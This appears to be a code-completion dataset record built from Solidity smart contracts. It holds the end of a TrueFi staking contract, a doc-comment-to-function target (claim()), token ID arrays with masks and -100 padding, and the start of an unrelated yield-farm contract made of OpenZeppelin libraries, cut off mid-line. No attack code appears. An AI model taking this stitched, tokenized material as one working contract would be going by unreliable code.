safe96(stakeSupply.mul(votes).div(totalSupply), "StkTruToken: uint96 overflow"); } /** * @dev Current votes are calculated as votes * stakedSupply / totalSupply * This dilutes voting power when TRU is liquidated * @param account Account to get current voting power for * @return voting power for account */ function getCurrentVotes(address account) public override view returns (uint96) { uint96 votes = super.getCurrentVotes(account); return safe96(stakeSupply.mul(votes).div(totalSupply), "StkTruToken: uint96 overflow"); } function decimals() public override pure returns (uint8) { return 8; } function rounding() public pure returns (uint8) { return 8; } function name() public override pure returns (string memory) { return "Staked TrueFi"; } function symbol() public override pure returns (string memory) { return "stkTRU"; } function _transfer( address sender, address recipient, uint256 amount ) internal override distribute update(sender) { updateClaimableRewards(tru, recipient); updateClaimableRewards(tfusd, recipient); super._transfer(sender, recipient, amount); } /** * @dev Internal claim function * Claim rewards for a specific ERC20 token * @param token Token to claim rewards for */ function _claim(IERC20 token) internal { farmRewards[token].totalClaimedRewards = farmRewards[token].totalClaimedRewards.add( farmRewards[token].claimableReward[msg.sender] ); uint256 rewardToClaim = farmRewards[token].claimableReward[msg.sender]; farmRewards[token].claimableReward[msg.sender] = 0; require(token.transfer(msg.sender, rewardToClaim)); emit Claim(msg.sender, token, rewardToClaim); } /** * @dev Get reward balance of this contract for a token * @param token Token to get reward balance for * @return Reward balance for token */ function rewardBalance(IERC20 token) internal view returns (uint256) { if (token == tru) { return token.balanceOf(address(this)).sub(stakeSupply); } if (token == tfusd) { return token.balanceOf(address(this)).sub(undistributedTfusdRewards); } return 0; } /** * @dev Check if any scheduled rewards should be distributed */ function distributeScheduledRewards() internal { uint32 index = nextDistributionIndex; while (index < scheduledRewards.length && scheduledRewards[sortedScheduledRewardIndices[index]].timestamp < block.timestamp) { undistributedTfusdRewards = undistributedTfusdRewards.sub(scheduledRewards[sortedScheduledRewardIndices[index]].amount); index++; } if (nextDistributionIndex != index) { nextDistributionIndex = index; } } /** * @dev Update rewards state for `token` */ function updateTotalRewards(IERC20 token) internal { if (token == tfusd) { distributeScheduledRewards(); } // calculate total rewards uint256 newTotalFarmRewards = rewardBalance(token).add(farmRewards[token].totalClaimedRewards).mul(PRECISION); if (newTotalFarmRewards == farmRewards[token].totalFarmRewards) { return; } // calculate block reward uint256 totalBlockReward = newTotalFarmRewards.sub(farmRewards[token].totalFarmRewards); // update farm rewards farmRewards[token].totalFarmRewards = newTotalFarmRewards; // if there are stakers if (totalSupply > 0) { farmRewards[token].cumulativeRewardPerToken = farmRewards[token].cumulativeRewardPerToken.add( totalBlockReward.div(totalSupply) ); } } /** * @dev Update claimable rewards for a token and account * @param token Token to update claimable rewards for * @param user Account to update claimable rewards for */ function updateClaimableRewards(IERC20 token, address user) internal { // update claimable reward for sender if (balanceOf[user] > 0) { farmRewards[token].claimableReward[user] = farmRewards[token].claimableReward[user].add( balanceOf[user] .mul(farmRewards[token].cumulativeRewardPerToken.sub(farmRewards[token].previousCumulatedRewardPerToken[user])) .div(PRECISION) ); } // update previous cumulative for sender farmRewards[token].previousCumulatedRewardPerToken[user] = farmRewards[token].cumulativeRewardPerToken; } /** * @dev Find next distribution index given a timestamp * @param timestamp Timestamp to find next distribution index for */ function findPositionForTimestamp(uint256 timestamp) internal view returns (uint32 i) { for (i = nextDistributionIndex; i < sortedScheduledRewardIndices.length; i++) { if (scheduledRewards[sortedScheduledRewardIndices[i]].timestamp > timestamp) { break; } } } /** * @dev internal function to insert distribution index in a sorted list * @param index Index to insert at * @param value Value at index */ function insertAt(uint32 index, uint32 value) internal { sortedScheduledRewardIndices.push(0); for (uint32 j = uint32(sortedScheduledRewardIndices.length) - 1; j > index; j--) { sortedScheduledRewardIndices[j] = sortedScheduledRewardIndices[j - 1]; } sortedScheduledRewardIndices[index] = value; } }
* @dev Claim all rewards/
function claim() external distribute update(msg.sender) { _claim(tru); _claim(tfusd); }
12,055,516
[ 1, 9762, 777, 283, 6397, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 1435, 3903, 25722, 1089, 12, 3576, 18, 15330, 13, 288, 203, 3639, 389, 14784, 12, 313, 89, 1769, 203, 3639, 389, 14784, 12, 6632, 407, 72, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* *visit: https://beerhouse.farm *Telegram: https://t.me/BeerHousefarm *Start : Block 10965437 *Bonus END: Block 11023037 *Bonus Multiplier: 3x *Deployer: Omega Protocol Ltd. */ pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: 